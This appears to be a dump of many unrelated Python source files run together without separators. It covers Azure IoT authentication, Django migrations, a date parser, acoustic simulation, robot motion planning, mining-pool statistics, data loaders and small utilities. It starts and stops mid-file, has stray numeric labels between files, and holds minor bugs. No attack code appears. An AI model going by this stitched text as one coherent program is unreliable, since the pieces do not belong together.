OnnxModel(model_proto=ModelProto(graph=GraphProto(initializer=[TensorProto(name='y')], input=[ValueInfoProto(name='x'), ValueInfoProto(name='y'), ValueInfoProto(name='z')])), input_data_formats=[None, None]) self.assertEqual(model.get_inputs(), [ValueInfoProto(name='x'), ValueInfoProto(name='z')]) # ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- """Provides authentication classes for use with the msrest library """ from msrest.authentication import Authentication, BasicTokenAuthentication from .connection_string import ConnectionString from .connection_string import HOST_NAME, SHARED_ACCESS_KEY_NAME, SHARED_ACCESS_KEY from .sastoken import SasToken from azure.core.pipeline.policies import BearerTokenCredentialPolicy from azure.core.pipeline import PipelineRequest, PipelineContext from azure.core.pipeline.transport import HttpRequest __all__ = ["ConnectionStringAuthentication", "AzureIdentityCredentialAdapter"] class ConnectionStringAuthentication(ConnectionString, Authentication): """ConnectionString class that can be used with msrest to provide SasToken authentication :param connection_string: The connection string to generate SasToken with """ def __init__(self, connection_string): super(ConnectionStringAuthentication, self).__init__( connection_string ) # ConnectionString __init__ @classmethod def create_with_parsed_values(cls, host_name, shared_access_key_name, shared_access_key): connection_string = ( HOST_NAME + "=" + host_name + ";" + SHARED_ACCESS_KEY_NAME + "=" + shared_access_key_name + ";" + SHARED_ACCESS_KEY + "=" + shared_access_key ) return cls(connection_string) def signed_session(self, session=None): """Create requests session with any required auth headers applied. If a session object is provided, configure it directly. Otherwise, create a new session and return it. :param session: The session to configure for authentication :type session: requests.Session :rtype: requests.Session """ session = super(ConnectionStringAuthentication, self).signed_session(session) # Authorization header sastoken = SasToken(self[HOST_NAME], self[SHARED_ACCESS_KEY], self[SHARED_ACCESS_KEY_NAME]) session.headers[self.header] = str(sastoken) return session class AzureIdentityCredentialAdapter(BasicTokenAuthentication): def __init__(self, credential, resource_id="https://iothubs.azure.net/.default", **kwargs): """Adapt any azure-identity credential to work with SDK that needs azure.common.credentials or msrestazure. Default resource is ARM (syntax of endpoint v2) :param credential: Any azure-identity credential (DefaultAzureCredential by default) :param str resource_id: The scope to use to get the token (default ARM) """ super(AzureIdentityCredentialAdapter, self).__init__(None) self._policy = BearerTokenCredentialPolicy(credential, resource_id, **kwargs) def _make_request(self): return PipelineRequest( HttpRequest("AzureIdentityCredentialAdapter", "https://fakeurl"), PipelineContext(None) ) def set_token(self): """Ask the azure-core BearerTokenCredentialPolicy policy to get a token. Using the policy gives us for free the caching system of azure-core. We could make this code simpler by using private method, but by definition I can't assure they will be there forever, so mocking a fake call to the policy to extract the token, using 100% public API.""" request = self._make_request() self._policy.on_request(request) # Read Authorization, and get the second part after Bearer token = request.http_request.headers["Authorization"].split(" ", 1)[1] self.token = {"access_token": token} def signed_session(self, session=None): self.set_token() return super(AzureIdentityCredentialAdapter, self).signed_session(session) 1-10 # Generated by Django 3.2.9 on 2021-11-04 00:36 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('core', '0001_initial'), ] operations = [ migrations.AlterField( model_name='task', name='description', field=models.TextField(null=True), ), migrations.AlterField( model_name='task', name='due_date', field=models.DateField(null=True), ), migrations.AlterField( model_name='task', name='finished', field=models.BooleanField(null=True), ), ] """ ptime.format ~~~~~~~~~~~~ :copyright: (c) 2013 by . :license: MIT, see LICENSE for more details. """ import re class FormatError(Exception): pass class Format(object): TEMPLATES = { # day # 'd': (r'\d{2}', 'day'), 'D': (r'[a-z]{3}', 'weekday'), 'j': (r'(?:[1-9])|(?:[1-3][0-9])', 'day'), 'l': (r'[a-zа-я]+', 'weekday'), 'N': (r'[1-7]', 'weekday'), 'w': (r'[0-6]', 'weekday'), 'z': (r'\d{3}', 'yearday'), # week # # 'W': (r'\d{1,2}', None), # month # 'F': (r'[a-zа-я]+', 'month_name'), 'm': (r'\d{2}', 'month'), 'M': (r'[a-zа-я]{3}', 'month_abbr'), 'n': (r'(?:[1-9])|(?:1[0-2])', 'month'), # year # # 'o': (r'\d{4}', 'year'), # should correlate with W 'Y': (r'\d{4}', 'year'), 'y': (r'\d{2}', 'year'), 'C': (r'\d{2}', 'century'), # time # 'a': (r'(?:am)|(?:pm)', 'ampm'), 'A': (r'(?:am)|(?:pm)', 'ampm'), 'g': (r'\d{1,2}', 'hour'), 'G': (r'\d{1,2}', 'hour'), 'h': (r'\d{2}', 'hour'), 'H': (r'\d{2}', 'hour'), 'i': (r'\d{2}', 'minute'), 's': (r'\d{2}', 'second'), 'u': (r'\d{6}', 'microsecond'), # timezones # 'e': (r'[a-z\/]+', 'timezone'), 'O': (r'[+-]\d{4}', 'offset_hours'), 'P': (r'[+-]\d{2}:\d{2}', 'offset_hours'), 'R': (r'[+-]\d{2}:?\d{2}', 'offset_hours'), 'T': (r'[a-z]+', 'timezone'), 'Z': (r'(?:+?)\d+', 'offset_seconds'), # relative # 'L': (r'(?:[a-zа-яіїєґ]+\s?)+', 'relative_day'), 'K': (r'\d+\s+(?:[a-zа-я]+\s?)+', 'days_ago') } def __init__(self, template): self.template = template regexp, attributes = self.parse_template(template) self.regexp = re.compile(r'^%s$' % regexp, re.IGNORECASE | re.UNICODE) self.attributes = attributes def parse_template(self, template): regexp = [] attributes = [] had_percent = False for character in template: if character == '%': if had_percent: regexp.append(character) had_percent = not had_percent continue if had_percent: if character not in self.TEMPLATES: raise FormatError( f"'%{character}' is not a valid template specifier") pattern, attribute = self.TEMPLATES[character] regexp.extend(['(', pattern, ')']) attributes.append(attribute) had_percent = False else: regexp.append(character) return ''.join(regexp), attributes def __eq__(self, other): if not isinstance(other, Format): return False return self.__dict__ == other.__dict__ @classmethod def iso8601(cls): # not all variations of ISO-8601 datetime are supported currently return cls(r'%Y-%m-%d(?:T|\s)%H:%i(?::%s)?(?:%R)') @classmethod def rfc822(cls): return cls(r'%D, %d %M %Y %H:%i:%s %O') @classmethod def rfc3339(cls): return cls(r'%Y-%m-%dT%H:%i:%s(?:\.%u)?%P') @classmethod def rfc850(cls): return cls(r'%l, %d-%M-%y %H:%i:%s %T') @classmethod def mysql(cls): return cls(r'%Y-%m-%d %H:%i:%s') # RFC 822 aliases rfc1036 = rfc822 rfc1123 = rfc822 rfc2822 = rfc822 rss = rfc822 # RFC 850 aliases cookie = rfc850 # RFC 3339 aliases w3c = rfc3339 atom = rfc3339 1-10 import math ####################################### # # DEFAULTS AND CONSTANTS # ####################################### C = 340 # m/s RHO_AIR = 1.204 K = 0.0020589 DEADNODE = -999 _SQRT2 = math.sqrt(2) _EPSILON = 1e-13 ##################################### # # Lambda # ##################################### def nodesize(samplerate, c=C): """ The size in meters of one node (one "pixel" of the simulation) PARAMETERS samplerate: rate of the simulation c : speed of propagation Returns --> size (m) It is important to know that tube length, sound speed and sampling frequency are closely linked together in lambda. """ return c * _SQRT2 / samplerate def timestep(samplerate, c=C): """ The realtime elapsed time in one iteration PARAMETERS samplerate : the samplerate of the simulation c : speed of propagation RETURNS -> the time in seconds of one iteration NB: the total time of the simulation is timestep * steps """ return K * nodesize(samplerate, c) def distancestep(samplerate, c=C): """ the distance travelled by a wave with speed of propagation c in one time step PARAMETERS samplerate : samplerate of the simulation c : speed of propagation RETURNS distance (m) : distance travelled by a wave in one time-step of the simulation """ return timestep(samplerate, c) * c def simulationduration(samplerate, steps, c=C): """ Calculate the duration of a simulation in seconds """ return timestep(samplerate, c) * steps def steps2duation(steps, samplerate, c=C): return simulationduration((samplerate, steps, c)) def duration2steps(duration, samplerate, c=C): """ convert a duration in seconds to the number of steps in the simulation """ ts = timestep(samplerate, c) return int(duration / ts) def canvassize(xpixels, ypixels, samplerate, c=C): """ Return the real-world dimension of the canvas in meters xpixels : width of the canvas in pixels ypixels : height of the canvas in pixels samplerate : rate of the simulation c : speed of propagation RETURNS (x, y) in meters """ L = nodesize(samplerate, c) x = L * xpixels y = L * ypixels return x, y def coord2pix(x, y, samplerate, c=C): """ Convert a coordinate in meters within the canvas to pixels x, y: position in meters RETURNS (xpixel, ypixel): the pixel index corresponding to the position given """ L = float(nodesize(samplerate, c)) xpix = int(float(x) / L) ypix = int(float(y) / L) return xpix, ypix def pix2coord(x, y, samplerate, c=C): """ Convert (x, y) to realworlds coordinates x, y: pixel coordinates RETURNS (x, y) in meters """ L = float(nodesize(samplerate, c)) x *= L y *= L return x, y def snaptogrid(x, y, samplerate, c=C): """ Snap the point (x, y) (in meters) to a grid determined by samplerate x, y: real world coordinates (in meters) RETURNS (x, y) in meters, snapped to the nearest representable point """ x2, y2 = coord2pix(x, y, samplerate) x3, y3 = pix2coord(x2, y2, samplerate) return x3, y3 def nodesize2samplerate(ns, c=C): """ convert nodesize to samplerate ns: size of each node in meters RETURNS samplerate (in Hz) """ samplerate = _SQRT2 * c / ns return samplerate def samplerate2nodesize(sr, c=C): """ sr: samplerate, in Hz RETURNS --> nodesize: in meters """ ns = _SQRT2 * c / sr return nsimport tesseract import os import re import traceback from tesseract_viewer import TesseractViewer import numpy as np import time import sys TESSERACT_SUPPORT_DIR = os.environ["TESSERACT_SUPPORT_DIR"] with open(os.path.join(TESSERACT_SUPPORT_DIR,"urdf","abb_irb2400.urdf"),'r') as f: abb_irb2400_urdf = f.read() with open(os.path.join(TESSERACT_SUPPORT_DIR,"urdf","abb_irb2400.srdf"),'r') as f: abb_irb2400_srdf = f.read() class TesseractSupportResourceLocator(tesseract.ResourceLocator): def __init__(self): super(TesseractSupportResourceLocator,self).__init__() def locateResource(self, url): url_match = re.match(r"^package:\/\/tesseract_support\/(.*)$",url) if (url_match is None): return None fname = os.path.join(TESSERACT_SUPPORT_DIR, os.path.normpath(url_match.group(1))) with open(fname,'rb') as f: resource_bytes = f.read() resource = tesseract.BytesResource(url, resource_bytes) return resource t = tesseract.Tesseract() t.init(abb_irb2400_urdf, abb_irb2400_srdf, TesseractSupportResourceLocator()) t_env = t.getEnvironment() viewer = TesseractViewer() viewer.update_environment(t_env, [0,0,0]) joint_names = ["joint_%d" % (i+1) for i in range(6)] viewer.update_joint_positions(joint_names, np.array([1,-.2,.01,.3,-.5,1])) viewer.start_serve_background() t_env.setState(joint_names, np.ones(6)*0.1) #while True: # time.sleep(2) # viewer.update_joint_positions(joint_names, np.random.rand(6)*.4) pci = tesseract.ProblemConstructionInfo(t) pci.init_info.type = tesseract.InitInfo.STATIONARY #pci.init_info.data = np.array([0.0,0,0,0,0,0]) pci.basic_info.n_steps = 10 pci.basic_info.manip = "manipulator" pci.basic_info.start_fixed = False pci.basic_info.use_time = False pci.basic_info.dt_upper_lim = 1 pci.basic_info.dt_lower_lim = 0.9999 pci.opt_info.max_iter = 200 pci.opt_info.min_approx_improve = 1e-3 pci.opt_info.min_trust_box_size = 1e-3 pci.kin = pci.getManipulator(pci.basic_info.manip) start_pos_terminfo = tesseract.JointPosTermInfo() start_pos_terminfo.name="start" start_pos_terminfo.term_type = tesseract.TT_COST #start_pos_terminfo.coeffs=np.ones(6) start_pos_terminfo.first_step = 0 start_pos_terminfo.last_step = 0 #start_pos_terminfo.lower_tols=np.ones(6)*-0.01 #start_pos_terminfo.upper_tols=np.ones(6)*0.01 start_pos_terminfo.targets=np.ones(6)*0.1 end_pos_terminfo = tesseract.JointPosTermInfo() end_pos_terminfo.name = "end" end_pos_terminfo.term_type = tesseract.TT_COST #end_pos_terminfo.coeffs=np.ones(6) end_pos_terminfo.targets=np.ones(6)*0.5 end_pos_terminfo.first_step = pci.basic_info.n_steps-1 end_pos_terminfo.last_step = pci.basic_info.n_steps-1 #end_pos_terminfo.lower_tols=np.ones(6)*-0.01 #end_pos_terminfo.upper_tols=np.ones(6)*0.01 joint_vel = tesseract.JointVelTermInfo() joint_vel.coeffs = np.ones(6) joint_vel.targets = np.zeros(6) joint_vel.first_step = 0 joint_vel.last_step = pci.basic_info.n_steps - 1 joint_vel.name = "Joint_vel" joint_vel.term_type = tesseract.TT_COST time_terminfo = tesseract.TotalTimeTermInfo() time_terminfo.coeff = 1 time_terminfo.term_type = tesseract.TT_COST | tesseract.TT_USE_TIME time_terminfo.name = "time" collision = tesseract.CollisionTermInfo() collision.name = "collision" collision.term_type = tesseract.TT_CNT collision.continuous = True collision.first_step = 0 collision.last_step = pci.basic_info.n_steps-2 collision.gap = 1 collision_info = tesseract.createSafetyMarginDataVector(pci.basic_info.n_steps, .0001, 40) for i in collision_info: collision.info.append(i) pci.cost_infos.append(start_pos_terminfo) pci.cost_infos.append(end_pos_terminfo) #pci.cost_infos.append(time_terminfo) pci.cnt_infos.push_back(collision) pci.cost_infos.push_back(joint_vel) prob = tesseract.ConstructProblem(pci) config = tesseract.TrajOptPlannerConfig(prob) planner = tesseract.TrajOptMotionPlanner() planner.setConfiguration(config) planner_status_code, planner_response = planner.solve(True) assert planner_status_code.value() == 0, "Planning failed" print(planner_response) print(planner_response.joint_trajectory.trajectory) viewer.update_trajectory(planner_response.joint_trajectory, False, 5) if sys.version_info[0] < 3: raw_input("press enter") else: input("press enter") aria/orchestrator/workflows/exceptions.py # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Workflow exceptions. """ import os from .. import exceptions class ExecutorException(exceptions.AriaError): """ General executor exception. """ pass class ProcessException(ExecutorException): """ Raised when subprocess execution fails. """ def __init__(self, command, stderr=None, stdout=None, return_code=None): """ Process class Exception :param list command: child process command :param str message: custom message :param str stderr: child process stderr :param str stdout: child process stdout :param int return_code: child process exit code """ super(ProcessException, self).__init__("child process failed") self.command = command self.stderr = stderr self.stdout = stdout self.return_code = return_code @property def explanation(self): """ Describes the error in detail """ return ( u'Command "{error.command}" executed with an error.{0}' u'code: {error.return_code}{0}' u'error: {error.stderr}{0}' u'output: {error.stdout}'.format(os.linesep, error=self)) class AriaEngineError(exceptions.AriaError): """ Raised by the workflow engine. """ class TaskException(exceptions.AriaError): """ Raised by the task. """ class TaskCreationException(TaskException): """ Could not create the task. """ class OperationNotFoundException(TaskCreationException): """ Could not find an operation on the node or relationship. """ class PluginNotFoundException(TaskCreationException): """ Could not find a plugin matching the plugin specification. """ 0 # Generated by Django 3.1.1 on 2021-02-03 22:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("temperature", "0001_squashed_0007_auto_20181125_2259"), ] operations = [ migrations.AddField( model_name="measurementdevice", name="api", field=models.IntegerField(default=0, verbose_name="Device API version."), ), ] import datetime from cache_memoize import cache_memoize from django.utils import timezone from django.db.models import Count, Sum from purepool.models.miner.models import Miner from purepool.models.block.models import Block from purepool.models.solution.models import Solution, RejectedSolution from puretransaction.models import Transaction @cache_memoize(timeout=3600) def get_solution_statistics(network, days=7): return _get_solution_statistics(network, days=7) @cache_memoize(timeout=300) def get_miner_solution_statistics(network, miner_id=None, days=7): return _get_solution_statistics(network, miner_id=miner_id, days=7) def _get_solution_statistics(network, miner_id=None, days=7): """ loads the count of solved solutions for the pool or only a single miner id for x-days. Should only be used on a cached page """ result = [] for i in range(0, days): day = timezone.now() - datetime.timedelta(days=i) day_start = datetime.datetime.combine(day, datetime.time.min) day_end = datetime.datetime.combine(day, datetime.time.max) qs = Solution.objects.filter(network=network, inserted_at__gt=day_start, inserted_at__lt=day_end) if miner_id is not None: qs = qs.filter(miner_id=miner_id) count = qs.count() result.append((day.date, count)) result = reversed(result) return result @cache_memoize(timeout=3600) def get_block_statistics(network, days=7): """ loads the count of found blocks for x-days. Should only be used on a cached page """ result = [] for i in range(0, days): day = timezone.now() - datetime.timedelta(days=i) day_start = datetime.datetime.combine(day, datetime.time.min) day_end = datetime.datetime.combine(day, datetime.time.max) count = Block.objects.filter(network=network, pool_block=True, inserted_at__gt=day_start, inserted_at__lt=day_end).count() result.append((day.date, count)) result = reversed(result) return result @cache_memoize(timeout=3600) def get_top_miners(network, days=1): """ the list of top miners """ days24_dt = timezone.now() - datetime.timedelta(days=days) return Solution.objects.filter(network=network, miner__enabled=True, inserted_at__gte=days24_dt).values('miner__address').annotate(total=Count('miner_id')).order_by('-total')[0:100] @cache_memoize(timeout=186400) def get_miner_count(network, days): """ miner count is cached longer, as it is expensice to count by the solutions """ days_dt = timezone.now() - datetime.timedelta(days=days) miners_count = len(Transaction.objects.filter(network=network, inserted_at__gte=days_dt).values('miner_id').annotate(total=Count('miner_id'))) return miners_count @cache_memoize(timeout=3600) def get_basic_statistics(network, days): """ some statistics for the statistics page about the pool and the network """ days_dt = timezone.now() - datetime.timedelta(days=days) current_height = 0 try: current_height = Block.objects.filter(network=network).values('height').order_by('-height')[0]['height'] except IndexError: # db empty pass all_blocks = Block.objects.filter(network=network, inserted_at__gte=days_dt).count() pool_blocks = Block.objects.filter(network=network, pool_block=True, inserted_at__gte=days_dt).count() pool_blocks_percent = 0 try: pool_blocks_percent = round((100 / all_blocks) * pool_blocks, 2) except ZeroDivisionError: # if no block was found, this can happen pass bbp_mined = Block.objects.filter(network=network, pool_block=True, inserted_at__gte=days_dt).aggregate(Sum('subsidy'))['subsidy__sum'] return [current_height, all_blocks, pool_blocks, pool_blocks_percent, bbp_mined] @cache_memoize(timeout=360) def miner_error_message_statistic(network, miner_id, days=1): days_dt = timezone.now() - datetime.timedelta(days=days) return RejectedSolution.objects.filter(network=network, miner_id=miner_id, inserted_at__gte=days_dt).exclude(exception_type='').exclude(exception_type='TransactionTampered').values('exception_type', 'work__worker__name').annotate(total=Count('id'))# -*- encoding:utf-8 -*- import pandas as pd import numpy as np from datetime import datetime dire = '../../data/' start = datetime.now() orderHistory_train = pd.read_csv(dire + 'train/orderHistory_train.csv', encoding='utf-8') orderFuture_train = pd.read_csv(dire + 'train/orderFuture_train3.csv', encoding='utf-8') userProfile_train = pd.read_csv(dire + 'train/userProfile_train.csv', encoding='utf-8') userComment_train = pd.read_csv(dire + 'train/userComment_train.csv', encoding='utf-8') action_train = pd.read_csv(dire + 'train/action_train.csv', encoding='utf-8') orderHistory_test = pd.read_csv(dire + 'test/orderHistory_test.csv', encoding='utf-8') orderFuture_test = pd.read_csv(dire + 'test/orderFuture_test3.csv', encoding='utf-8') userProfile_test = pd.read_csv(dire + 'test/userProfile_test.csv', encoding='utf-8') userComment_test = pd.read_csv(dire + 'test/userComment_test.csv', encoding='utf-8') action_test = pd.read_csv(dire + 'test/action_test.csv', encoding='utf-8') ############# 3.action feature ############# """ # 1. 每日用户action的次数 # 2. 每日用户action的时间 # """ # 每日用户action的次数 def user_day_count(orderFuture, action): temp = pd.DatetimeIndex(action['action_time']) action['action_date'] = temp.date action_date_count = action.groupby(['userid', 'action_date'])['actionType'].count().reset_index() action_date_count.rename(columns={'actionType': 'action_date_count'}, inplace=True) action_date_list = list(set(list(action.action_date))) column = ['userid'] for action_date in action_date_list: column.append('user_day_count_' + str(action_date)) user_date_count = pd.DataFrame(columns=column) user_date_count['userid'] = orderFuture['userid'] for index, row in user_date_count.iterrows(): print(index) print(row.userid) action_date_cnt1 = action_date_count[action_date_count['userid'] == row.userid] for action_date in action_date_list: action_date_cnt = action_date_cnt1[action_date_cnt1['action_date'] == action_date].reset_index() if (len(action_date_cnt) > 0): user_date_count['user_day_count_' + str(action_date)][user_date_count['userid'] == row.userid] = \ action_date_cnt['action_date_count'][0] orderFuture = pd.merge(orderFuture, user_date_count, on='userid', how='left') return orderFuture # orderFuture_train = user_day_count(orderFuture_train, action_train) # orderFuture_test = user_day_count(orderFuture_test, action_test) # 每日用户action的时间 def user_day_time(orderFuture, action): action_date_count = action.groupby(['userid', 'action_date'])['actionType_time'].sum().reset_index() action_date_count.rename(columns={'actionType_time': 'actionType_time_sum'}, inplace=True) print(action_date_count) action_date_list = list(set(list(action.action_date))) column = ['userid'] for action_date in action_date_list: column.append('user_day_time_' + str(action_date)) user_date_count = pd.DataFrame(columns=column) user_date_count['userid'] = orderFuture['userid'] for index, row in user_date_count.iterrows(): print(index) print(row.userid) action_date_cnt1 = action_date_count[action_date_count['userid'] == row.userid] for action_date in action_date_list: action_date_cnt = action_date_cnt1[action_date_cnt1['action_date'] == action_date].reset_index() if (len(action_date_cnt) > 0): user_date_count['user_day_time_' + str(action_date)][user_date_count['userid'] == row.userid] = \ action_date_cnt['actionType_time_sum'][0] print(user_date_count) orderFuture = pd.merge(orderFuture, user_date_count, on='userid', how='left') return orderFuture orderFuture_train = user_day_time(orderFuture_train, action_train) orderFuture_test = user_day_time(orderFuture_test, action_test) print("开始提取：", start) print("提取完成：", datetime.now()) # orderFuture_train.to_csv(dire + 'train_enumerate.csv', index=False, encoding='utf-8') # orderFuture_test.to_csv(dire + 'test_enumerate.csv', index=False, encoding='utf-8')import csv import io import itertools import os import re import sys from datetime import datetime import pelops.datasets.chip as chip # ================================================================================ # SLiCE Test Dataset (labeled by STR) # ================================================================================ class SliceDataset(chip.ChipDataset): def __init__(self, dataset_path, set_type=None, debug=False): super().__init__(dataset_path, set_type) self.__noise_seq = 0 self.__debug = debug self.__set_chips() @staticmethod def __decode_truth_file(truth_file): """The labels for the STR processed SLiCE chips are in a 'truth.txt' file which this function parses.""" with open(truth_file) as truth_hdl: truth_text = truth_hdl.read() for char in [' ', '%']: truth_text = truth_text.replace(char, '') truth_fobj = io.StringIO(truth_text) return {(int(dct['obSetIdx']), int(dct['chipIdx'])): int(dct['targetID']) for dct in csv.DictReader(truth_fobj)} @staticmethod def index_chip(file_path): """Parses an arbitrary file path and identifies paths of valid image chips. Returns None for non-chip file paths.""" # We have to handle two cases: # # 1) The STR San Antonio DOT chips, which have the form: # ObSet009_1473015765_IH37_Jones/images/ObSet009-014.png # # 2) The SLICE chips, which have the form: # ObSet101_1473082429_day5_camera3/images/ObSet101-001-0-20160905_185543.375_1.jpg # # The epoch on the SLICE chips is per chip, whereas it is per # observation set for the STR chips. The SLICE chip file names have the # follow information after the ObSet and chip id: # # Obset-ChipID-label-time_unused # Split the file path into pieces to extract the information from it file_path = os.path.normpath(file_path) directory, img_type, file = file_path.split(os.sep)[-3:] # Sometimes we have masks, reject those if img_type != "images": return # Sometimes we get the truth.txt file, which we do not want if file == "truth.txt": return # Get the observation set, time, and name from the directory obset_str, epoch_str, *name = directory.split("_") name = "_".join(name) # We slice off the first part of the string that is non-numeric, where # 5 = len("ObSet") obset_int = int(obset_str[5:]) # Get the chip ID, and perhaps more, from the name of the file _, chip_id_str, *misc = file.split("-") # SLICE chips have more information if misc: chip_id_int = int(chip_id_str) _, time = misc # Remove file extension time, _ = os.path.splitext(time) # Remove _1 at end of each time and convert to microseconds time = time[:-2] + "000" # Get milliseconds since the unix epoch epoch = datetime.utcfromtimestamp(0) dt = datetime.strptime(time, "%Y%m%d_%H%M%S.%f") epoch_str = str(int((dt - epoch).total_seconds())) else: chip_id, _ = os.path.splitext(chip_id_str) chip_id_int = int(chip_id) idx_key = (obset_int, chip_id_int) idx_val = { 'file': file_path, 'meta': { 'obSetName': name, 'epoch': epoch_str, }, } return idx_key, idx_val def __create_chip(self, file_info, truth_value): """Converts parsing / indexing results into a pelops.datasets.chip.Chip object""" if truth_value == 0: self.__noise_seq += 1 car_id = 'unk-{:09d}'.format(self.__noise_seq) else: car_id = 'tgt-{:09d}'.format(truth_value) chip_params = [ file_info['file'], car_id, file_info['meta']['obSetName'], file_info['meta']['epoch'], file_info['meta'] ] return chip.Chip(*chip_params) def __set_chips(self): """Sets the chips dict of the superclass to contain chip files for the dataset.""" # Scan filesystem root_files = [root_file for root_file in os.walk(self.dataset_path)] # Decode truth.txt file truth_files = [os.path.join(walked[0], 'truth.txt') for walked in root_files if 'truth.txt' in walked[2]] if len(truth_files) == 0: raise IOError("No truth file found.") elif len(truth_files) > 1: raise IOError("Too many truth files available.") truth_data = self.__decode_truth_file(truth_files.pop()) if len(truth_data) < 1: raise IOError("No truth loaded") if self.__debug: print("{} truth records loaded.".format(len(truth_data))) # Index all image chips file_paths = [[os.path.join(walked[0], wfile) for wfile in walked[2]] for walked in root_files] chip_idx = dict(filter(lambda t: t is not None, map(self.index_chip, itertools.chain(*file_paths)))) if len(chip_idx) != len(truth_data): raise IOError("Number of truth records not equal to number of chips.") if self.__debug: print("{} image chips loaded.".format(len(chip_idx))) # Create and store chips self.chips = {meta['file']: self.__create_chip(meta, truth_data[idx]) for idx, meta in chip_idx.items()} if self.__debug: print("{} chip.Chips loaded.".format(len(self.chips))) tests/test_lineprobe.py """Unit tests for pipeline.""" import mock import unittest import src.lineprobe as lineprobe class Probe(unittest.TestCase): """Test class for pipeline client.""" def test_StreamSocket(self): m_socket = mock.Mock() expected_calls = 6 returned_calls = 0 with mock.patch('src.lineprobe.pipeline.socket', m_socket, create=True) as sock: client = lineprobe.pipeline.StreamSocket(lineprobe.pipeline.HOST, lineprobe.pipeline.PORT) client.wfile.write("OK") returned_calls = len(sock.mock_calls) self.assertEqual(expected_calls, returned_calls) def test_connect_to_grapher(self): m_streamsocket = mock.Mock() expected_calls = 2 returned_calls = 0 client = lineprobe.connect_to_grapher(m_streamsocket) client.wfile.write("OK") returned_calls = len(m_streamsocket.mock_calls) self.assertEqual(expected_calls, returned_calls) #hello world program print("hello world!") 100-1000 '''Simple classifier model ''' from cortex.main import run from cortex.plugins import ModelPlugin import torch import torch.nn as nn import torch.nn.functional as F from cortex.built_ins.models.utils import update_encoder_args class MyClassifier(ModelPlugin): '''Basic image classifier. Classifies images using standard convnets. ''' defaults = dict( data=dict(batch_size=128, inputs=dict(inputs='images')), optimizer=dict(optimizer='Adam', learning_rate=1e-3), train=dict(epochs=200, save_on_best='losses.classifier')) def build(self, classifier_type='convnet', classifier_args=dict(dropout=0.2)): '''Builds a simple image classifier. Args: classifier_type (str): Network type for the classifier. classifier_args: Classifier arguments. Can include dropout, batch_norm, layer_norm, etc. ''' classifier_args = classifier_args or {} shape = self.get_dims('x', 'y', 'c') dim_l = self.get_dims('labels') Encoder, args = update_encoder_args( shape, model_type=classifier_type, encoder_args=classifier_args) args.update(**classifier_args) classifier = Encoder(shape, dim_out=dim_l, **args) self.nets.classifier = classifier def routine(self, inputs, targets, criterion=nn.CrossEntropyLoss()): ''' Args: criterion: Classifier criterion. ''' classifier = self.nets.classifier outputs = classifier(inputs) predicted = torch.max(F.log_softmax(outputs, dim=1).data, 1)[1] loss = criterion(outputs, targets) correct = 100. * predicted.eq( targets.data).cpu().sum() / targets.size(0) self.losses.classifier = loss self.results.accuracy = correct def predict(self, inputs): classifier = self.nets.classifier outputs = classifier(inputs) predicted = torch.max(F.log_softmax(outputs, dim=1).data, 1)[1] return predicted def visualize(self, images, inputs, targets): predicted = self.predict(inputs) self.add_image(images.data, labels=(targets.data, predicted.data), name='gt_pred') if __name__ == '__main__': classifier = MyClassifier() run(model=classifier) """Functionality related to filtering and sorting the banking data.""" import yaml import os import shutil def read_yaml_file(filename, default=None, ignoreNonExistantFile=False, fixCorruption=False): if filename[-5:] == ".yaml" or filename[-4:] == ".yml": if ignoreNonExistantFile: try: file = open(filename) result = yaml.safe_load(fixCorruptedYaml(file.read(), fixCorruption)) file.close() except IOError: return default else: file = open(filename) result = yaml.safe_load(fixCorruptedYaml(file.read(), fixCorruption)) file.close() return result else: raise ValueError('Filename must have .yaml ending') def fixCorruptedYaml(content, fixCorruption=False): """Fixes indentation errors""" if not fixCorruption: return content else: lines = content.splitlines() indent = 0 opensNewBlock = False for index,l in enumerate(lines): lIndent = len(l) - len(l.lstrip(' ')) if opensNewBlock: indent = lIndent opensNewBlock = False elif lIndent > indent: l = (' '*indent)+l.lstrip(' ') lines[index] = l if l.rstrip()[-1]==':': opensNewBlock = True return '\n'.join(lines) def save_yaml_file(filename, data): if filename[-5:] == ".yaml" or filename[-4:] == ".yml": file = open(filename, "w") yaml.dump(data, file) file.close() else: raise ValueError('Filename must have .yaml ending') def moveFilesOfType(sourceDir, targetDir, types=()): if len(types)>0: lengths = set(len(x) for x in types) ext = {i:list(x for x in types if len(x)==i) for i in lengths} source = os.listdir(sourceDir) for file in source: if any(file[-i:] in ext[i] for i in lengths): shutil.move(os.path.join(sourceDir, file), os.path.join(targetDir, file)) def findFileOfType(sourceDir, types=()): if len(types)>0: lengths = set(len(x) for x in types) ext = {i:list(x for x in types if len(x)==i) for i in lengths} source = os.listdir(sourceDir) for file in source: if any(file[-i:] in ext[i] for i in lengths): return file return None def archiveFile(file): if os.path.exists(file): filename, file_extension = os.path.splitext(file) counter = 1 while os.path.exists(filename + "." + str(counter) + file_extension): counter += 1 shutil.move(file, filename + "." + str(counter) + file_extension) else: print "File '"+file+"' does not exist." def merge_lists(left_sublist, right_sublist): i, j = 0, 0 result = [] while i < len(left_sublist) and j < len(right_sublist): if left_sublist[i] <= right_sublist[j]: result.append(left_sublist[i]) i += 1 else: result.append(right_sublist[j]) j += 1 result += left_sublist[i:] result += right_sublist[j:] return result def merge_sort(input_list): if len(input_list) <= 1: return input_list else: midpoint = int(len(input_list)/2) left_sublist = merge_sort(input_list[:midpoint]) right_sublist = merge_sort(input_list[midpoint:]) return merge_lists(left_sublist, right_sublist) number_list = [4, 7, 54, 91, 34, 1, 4, 2, 6, 23, 12] print(merge_sort(number_list)) app/job.py import time from threading import Thread, get_ident, enumerate from .local_db import user_exist, delete_user, get_user, update_user, db_create_user from .utils import create_db_process def run_job(user): workThread = Thread(target=create_db_process, args=(user,)) workThread.start() def get_result(user): if not user_exist(user): db_create_user(user) run_job(user) response = get_user(user) return response from random import choice, shuffle from copy import deepcopy import utils # This AI will decide a move based on the following order of steps: # (0) -> If 